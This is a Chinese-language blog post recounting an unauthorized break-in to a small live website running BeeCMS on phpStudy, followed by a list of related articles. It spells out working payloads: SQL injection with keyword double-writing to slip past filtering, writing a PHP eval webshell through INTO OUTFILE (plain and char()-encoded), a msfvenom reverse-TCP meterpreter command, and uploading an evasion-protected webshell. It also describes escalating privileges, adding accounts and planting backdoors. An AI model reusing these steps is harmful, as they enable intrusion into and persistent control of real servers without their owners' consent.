记一次小黄站渗透过程,实操!

简介: 记一次小黄站渗透过程,实操!


# 前言

记录某一次无意点开的一个小网站的渗透过程,幸运的是搭建平台是phpstudy,cms是beecms,beecms有通用漏洞,然后去网上找了资料,成功getshell并获取服务器权限。

#  渗透过程

无意点开一个网站,发现网站比较小,且看起来比较老,然后发现logo没有改,于是乎去百度搜索这个cms,发现有通用漏洞,这里贴一个链接:Beecms 通用漏洞


这里运气比较好,没有更改后台地址,还是默认地址/admin/login.php


通过通用漏洞发先后台管理处存在sql注入漏洞,直接输入admin’,然后就会报错,这里用万能密码不能登陆,看来还是得通过上面得通用漏洞来进行注入


可以看到输入payload后,页面返回正常,从而可以判断有sql注入,这里采用双写进行绕过


发现这个注入点后,就有各种各样的注入方式了,通过sql语句写入一句话,sqlmap一把梭,手工注入得到账号密码等等,怎么方便怎么来,这里我把几种方法都写一下,看看那种方法可以。

方法一

1、通过post抓包sqlmap一把梭,dump出管理员账号密码,进后台找上传点
2、一把梭,发现并没有,使用脚本也没有绕过

方法二

1、通过burp抓包,写入一句话,payload:admin%27 un union ion selselectect 1,2,3,4,<?php @eval($_POST[123]);?> into outfile 'xm.php'#,发现写入失败,前面讲到有防护,这里通过hex编码或者char函数绕过。

2、对shell部分进行编码

3、写入shell的payload为:注意:记得在编码转换的时候前面加0x或者直接用unhex函数,但是本次实验用unhex函数一直失败,所以在前面加0x,看到可以写入成功。ps:这里的写入路径纯属盲猜,运气好,默认目录

4、用蚁剑连接,成功连接,至此getshell完毕,下来就是后渗透阶段,后面会讲


char函数绕过:mysql内置函数char()可以将里面的ascii码转换为字符串,payload为:admin' uni union on selselectect null,null,null,null,char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 99, 109, 100, 93, 41, 59, 63, 62) in into outoutfilefile 'C:/phpStudy/WWW/beescms/cmd.php'#


一样成功写入

1、写入成功后,菜刀可以连接,我们访问写入的文件,惊奇的发现竟然有admin,和一串md5码,大胆猜测可能是后台账号和密码,试一下

2、md5解密,wocao,成功登陆,然后就是后台找上传了

# 后渗透

通过whoami查看权限,发现是admin权限,但是不是最高权限,我们要提到最高权限去


方法一

1、通过msf生成木马提权,payload:msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe X > shell.exe2.通过蚁剑上传木马,并执行。执行之前打开msf使用模块use exploit/multi/handler,设置相应参数,然后开始监听


2、不知道什么问题,用这个没有成功,那么只能通过大马提权了

方法二

1、上传大马,此处应该有狗或者盾之类的,用的免杀,成功上传

2、访问大马


3、这里提权方式很多,就不细说了,有大马之后很多操作都可以引刃而解了,开放端口,添加账号,留后门。。

4、创建admin权限账号之后,登陆服务器


# 其他发现

通过扫描目录,还发现有phpmyadmin,可以爆破,这里我试了下竟然是弱口令,都是root,但是连接不上,只能通过phpmyadmin登陆,发现是低版本的phpstudy搭建的,这里就可以另一种思路,利用日志文件写入一句话getshell。


# 总结

1、前台sql注入获取用户名密码,进入后台找上传2、SQL注入语句写入一句话3、phpmyadmin一句话getshell4、上传大马提权

至此,渗透结束。

相关文章
|
存储 安全 Shell
网络安全实验十三 渗透测试项目
网络安全实验十三 渗透测试项目
251 0
网络安全实验十三 渗透测试项目
|
SQL 安全 前端开发
新手学习渗透测试常规思路
2017黑客新手工具系列集合附链接 - 知乎专栏|这门技术(艺术)一开始也不是每个人都会的,正所谓没有人一出生就会走路,从不懂到入门到深谙,一步步慢慢来,每个人都是这样;但是在这个过程中, 思路无疑是最重要的,没有做不到只有想不到,就跟咱们高中解题时有了思路就迎刃而解一样,手里拿着铲子(技巧知识)但不是道从何挖起岂不是悲哀。
156 0
|
SQL 网络安全 数据库
网络安全实验十一 sql注入实验(二)
网络安全实验十一 sql注入实验(二)
100 0
网络安全实验十一 sql注入实验(二)
|
安全 数据安全/隐私保护
网站渗透思路总结
网站渗透思路总结
121 0
|
JSON NoSQL 安全
漏洞赏金猎人笔记-使用自动化工具搭建攻击面监控平台的一般性思路
前言 本文是一篇笔记,原文作者是@pry0cc(已经50多岁了),本文内容主要是对原文相关内容做的笔记,出于易读性考虑,对部分字句有所删改。
469 0
漏洞赏金猎人笔记-使用自动化工具搭建攻击面监控平台的一般性思路
|
SQL 安全 API
【实战案例】——实战渗透某不法网站
很多同学在靶场,ctf题中取得了很大的进步和收获,但是在实战环境下这些知识却不一定好用,所以新开了一个专栏介绍博主遇到的一些比较有意思的实战环境和渗透流程,希望对大家有所帮助
151 0
【实战案例】——实战渗透某不法网站
|
安全 网络协议 Ubuntu
|
安全 搜索推荐 Linux
网站漏洞测试 干货学习经验分享
对新知识的学习,应该明确三点:学些什么?怎样去学?三是及时复习。本文以这三点为基础,围绕信息安全学习过程展开论述。大型目标点,在新知识的学习中,明确学习目标是第一件要做的事,有目标才知道自己该往哪里走。但是对新人来说,在无人指导的情况下,明确目标这一步会比较迷茫,所以个人建议如下:
142 0
网站漏洞测试 干货学习经验分享
|
存储 安全 中间件
网站漏扫服务换个思路提高渗透测试效率
在渗透测试过程中,我们可以通过插件识别类型后,使用漏洞脚本对特定系统进行模糊。在这里,笔者将与大家分享漏洞POC验证系统的设计和研究思路。在系统开发之初,选用了分布式平台设计架构。后来因为考虑到与分布式资产扫描平台兼容的接口,最后理解了耦合机制,彻底变成了单机版。首先我们可以看到这个地方没有单独设计web管理端,只能通过命令行调度。但是,在设计中,守护进程restapi是保留的,它可以接受来自第三方平台的调度请求。插件模块调用方面,主要有三个模块:流行的漏洞插件,主要用于重现常见的手工测试方法和一些团队发现的内部漏洞。密码漏洞插件:主要包括端口、中间件、未授权应用和弱密码漏洞,包括弱密码字典。
258 0
网站漏扫服务换个思路提高渗透测试效率

相关实验场景

更多